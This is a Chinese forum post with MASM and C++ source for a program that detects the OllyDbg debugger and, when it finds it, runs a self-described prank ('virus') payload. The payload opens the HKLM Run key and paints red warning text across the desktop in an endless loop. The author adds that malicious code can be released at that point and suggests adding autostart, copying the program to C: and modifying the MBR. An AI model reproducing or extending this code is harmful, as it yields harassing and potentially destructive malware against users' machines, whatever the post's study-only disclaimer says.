|
本帖最后由 wl1383838438 于 2020-5-15 00:26 编辑
入门级语言,将不再有详细的注释,代码在VS2013中被测试通过,并且该代码有一定的骚扰性,该代码作为学习研究之用不得用于恶搞他人,作责不承担任何法律责任以及连带责任,测试者需要有一个心里准备,(检测到OD调试时,将会弹出全屏幕的文字,不能接受望请勿测试)。
win32汇编中的代码在radmasm和masm32编译器中编译通过!
386
.model flat,stdcall
option casemap:none
include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
includelib C:\masm32\lib\user32.lib
include C:\masm32\include\kernel32.inc
includelib C:\masm32\lib\kernel32.lib
.data
szClassName db 'Jiack ',0
szText1 db '调试',0
szText2 db '未调试',0
szCaption db '提示',0
.code
start:
invoke FindWindow,offset szClassName,NULL
cmp eax,0
je code1
invoke SendMessage,eax,WM_CLOSE,0,0
invoke MessageBox,0,offset szText1, offset szCaption,0
jmp code2
code1:
invoke MessageBox,0,offset szText2, offset szCaption,0
code2:
invoke ExitProcess,0
end start
//----------------------------------------------------------------------------------------分割线-----------------------------------
C++的源码较长,属于入门级的语言语法,所以不在有详细的注释,
// ConsoleApplication3.cpp : 定义控制台应用程序的入口点。
//
#include<iostream>
#include<Windows.h>
using namespace std;
//---------------------------------------------
FLOAT p(FLOAT a, WORD b)//获取一个随机数
{
return rand() % (b + 1) + a;
}
//---------------------------------------------
int main()
{
HWND h;
h = FindWindow(L"Jiack ",NULL);//获取该窗口的类
if (h == 0)//判断
{
MessageBox(NULL, L"未加载", L"温馨提示", MB_OK);//弹出提示
//添加程序正常的代码
}
else
{
MessageBox(NULL, L"程序调试中",L"温馨提示", MB_OK);
//检测到被调试时此处课释放恶意代码,(自己扩展吧嘿嘿--后面代码作为测试学习之用,勿将其恶搞他人。)
//----------------------------------------------------------------------------------------
HKEY Hkey = 0;
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
0,
REG_OPTION_NON_VOLATILE,
KEY_WOW64_64KEY |/*赋予程序64位的权限以至于程序每次重启自动运行*/
KEY_ALL_ACCESS,/*获取所有权限*/
NULL,/*不继承*/
&Hkey,/*子健指针*/
NULL
);
//<-------------------------------------------------------------
HWND hwnd = FindWindow(L"Progman", L"Program Manager");
HWND DCHWND = 0;//句柄要初始化,否则会引发异常
if (hwnd)
{
HWND hShellDdfviex = FindWindowEx(hwnd, NULL, L"SHELLDLL_DefView", NULL);
if (hShellDdfviex)
{
DCHWND = FindWindowEx(hShellDdfviex, NULL, L"SyslistView32", NULL);
}
}
cout << "程序运行中" << endl;
HDC dc = GetDC(DCHWND);//获取桌面句柄的DC(设备上下文)
//创建字体
HFONT hf = CreateFont(
25,/*自高度*/
10,/*字体的宽度*/
0,/*字体显示角度*/
0,/*字体角度*/
5,/*字体粗细*/
0,/*斜体*/
0,/*带下划线的字体*/
0,/*带删除线*/
ANSI_CHARSET,/*指定字符集*/
OUT_DEFAULT_PRECIS,/*输出的精度*/
CLIP_DEFAULT_PRECIS,/*裁剪的精度*/
DEFAULT_QUALITY,/*逻辑字体与输出设备之简的精度*/
DEFAULT_PITCH | FF_SWISS,/*字体的间距和字体集*/
L"微软雅黑");
SetTextColor(dc, RGB(255, 0, 0));/*设置文字颜色*/
SelectObject(dc, hf);// 将字体和设备上下文建立连接
SetBkMode(dc, TRANSPARENT);
//建立循环输出
while (true)
{
ExtTextOut(dc, p(0, 2560), p(0, 1440), ETO_CLIPPED, NULL, L"请勿调试该程序,该提示只是警告,", 35, 0);
// ExtTextOut(dc,80, 100, ETO_CLIPPED, NULL, "电脑被劫持", 10, 0);
Sleep(10);
}
ReleaseDC(DCHWND, dc);
//-----------------------------------------------------------------------------------------
//ExitProcess(0);//退出线程
}
return 0;
}
//-----效果图---
停止方法关闭od即可,
//--
---------
--------
破解方法在cmp指令替换成nop填充即可破解该程序的恶作剧(病毒)部分。
扩展思路,添加开机启动,拷贝进C盘,增加修改MBR代码,等等,做好备份 做好备份,做好备份,一定要在虚拟机中,测试,切记!
|
上一篇: win32api的窗口注册和win32汇编窗口注册下一篇: 请问大佬们,软件破解用到的技术叫什么?
|